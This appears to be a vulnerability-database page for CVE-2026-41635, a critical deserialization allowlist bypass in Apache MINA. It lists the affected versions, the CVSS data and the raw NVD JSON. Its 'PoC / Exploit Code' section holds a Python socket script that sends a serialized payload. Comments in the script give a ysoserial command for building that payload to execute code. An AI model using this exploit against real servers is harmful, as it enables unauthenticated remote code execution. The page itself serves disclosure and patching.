Security Vulnerability Report
中文
CVE-2026-41635 CVSS 9.8 CRITICAL

CVE-2026-41635

Published: 2026-04-27 09:16:02
Last Modified: 2026-04-29 19:08:22

Description

Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName().  Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call  IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:* - VULNERABLE
Apache MINA 2.0.0 至 2.0.27
Apache MINA 2.1.0 至 2.1.10
Apache MINA 2.2.0 至 2.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # PoC for CVE-2026-41635 # This script sends a malicious serialized Java object to a target running a vulnerable Apache MINA version. # The vulnerability allows bypassing the whitelist check in resolveClass() when handling static classes. TARGET_HOST = '127.0.0.1' TARGET_PORT = 9123 # In a real scenario, generate a payload using ysoserial, e.g.: # java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin # This payload exploits the deserialization to execute commands. PAYLOAD_FILE = 'payload.bin' def send_exploit(): try: with open(PAYLOAD_FILE, 'rb') as f: data = f.read() print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malicious serialized object...") s.sendall(data) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41635", "sourceIdentifier": "[email protected]", "published": "2026-04-27T09:16:01.893", "lastModified": "2026-04-29T19:08:21.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.\n\n\n\n\nThe fix checks if the class is present in the accepted class filter before calling Class.forName(). \n\n\n\n\n\n\nAffected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and\n\n\n2.2.0 <= 2.2.5.\n\n\n\n\n\nThe problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by \napplying the classname allowlist earlier.\n\n\n\n\n\nAffected are applications using Apache MINA that call  IoBuffer.getObject().\n\n\n\n\n\nApplications using Apache MINA are advised to upgrade."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.28", "matchCriteriaId": "BD2A5F4E-7B53-4235-BE01-DD9B9E3614E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.11", "matchCriteriaId": "E69C9219-F00B-4677-88B8-3263615586BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.2.6", "matchCriteriaId": "EC86281C-5EBB-4250-8575-50EB77E76F3E"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1l91w1mqsb3lwfd504fs045ylxntt2tm", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/27/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}